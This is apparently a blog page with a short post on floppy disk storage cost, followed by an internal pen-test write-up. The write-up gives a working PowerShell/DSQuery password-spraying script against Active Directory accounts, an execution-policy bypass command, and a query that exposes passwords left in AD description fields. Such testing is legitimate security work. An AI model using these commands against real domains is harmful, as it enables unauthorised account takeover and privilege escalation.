Most expensive storage media?

From the title you might assume i'm referring to PCI-e SSD storage or something similar, but i'm actually referring to the classic 1.44mb floppy disk!

Someone in the office discovered an old floppy disk in a laptop bag they were clearing out, i said in jest "Surely can't buy those any more?". I was wrong.....

A quick Google turned up a medially of stores offering brand new packs of 10x 1.44mb floppy disks at varying prices. To keep it simple i've picked one of the cheaper offers - £5.51 per pack available from goodstall.co.uk (never heard of them, but we'll assume they could deliver.)

http://www.goodsstall.co.uk/87410---verbatim-35-disks-10-pack---verbatim-32213-p.asp

We often refer to our cost of storage as pence per gigabyte (ppg), based on this the good old floppy disk is going to cost us a staggering 38,263ppg!!

To put this in to context, a run of the mill 2TB USB external HDD would only cost around 22ppg.

Comparatively, even this ludicrously expensive 3.2TB PCI-e SSD storage would 'only' cost 7298ppg
http://www.span.com/product/OCZ-PCI-Express-Z-Drive-R4-CM88-ZD4CM88-FH-3-2T-PCI-Express-v2-x8-SSD-3-2TB-SSD~34393

Staggering, huh?

Powershell/DSQuery attack

During some recent basic pen testing on out live XenApp 6.5 environment i happened upon an interesting discovery, essentially our desktop management software (RES) could be circumvented from a Powershell session simply by making the exe available to the user. I copied the executable from my local system to a network drive which i could access and launch from within Citrix.

This got me thinking about powershell based attack methods. With a little searching i turned up this interesting video posted on YouTube by David Hoelzer: http://www.youtube.com/watch?v=XpHgSHQZNpU

Now, in my scenario David's script would not work. I made the DSQuery exe, dll and DSGet.exe available by copying to the same network location as i had been able to launch Powershell from but DSGet would not function. However, DSQuery worked as expected. This set me about looking to use DSQuery to achieve the same result using a slightly different script.

First problem, powershell's execution policy would not allow me to run a ps1 script. I bypassed this by starting a powershell with the attribute "-ExecutionPolicy Bypass"

PS > .\powershell.exe -ExecutionPolicy Bypass

I then constructed my slightly modified script which uses only features of DSQuery.

.\dsquery.exe user -o samid -limit 0 > users
foreach ($samid in Get-Content .\users)
{
    Write-Host $samid
    foreach ($password in Get-Content ./password.txt)
    {
        .\dsquery.exe user -samid $samid -u $samid -p $password 2>> $null
        if($?) {
            $str = "Account: $samid $password"
            $str | Out-File checked.txt -append
        }
    }
}

I then created my password file. A simple list of passwords i wanted to attempt against each account that was returned from the directory query. Being conscious that i didn't want to trigger our account lockout attempts i opted to only attempt two basic passwords.

password
companyname

I executed the script from a test account with nothing more than Domain User privs and out popped my results to checked.txt file.

Amazingly (but unsurprisingly), it returned 3 accounts with with the password {companyname} but none with the password password. Good users, well done....

The biggest concern here really is that we can gather a list of all usernames on the domain from any user account which gives us a good angle to brute force our way to a higher privilege level account if we have guessed our way onto the network with say a training or test account.

Additionally, I thought this was quite an interesting query.

 .\dsquery.exe * -filter "(objectClass=Person)" -limit 0 -attr SAMAccountName Description

 Because this will expose any passwords that lazy admins have left in the description field in AD against the username. Yes, i did discover some very worrying accounts with this, namely an account setup for suppliers with SQL admin privs.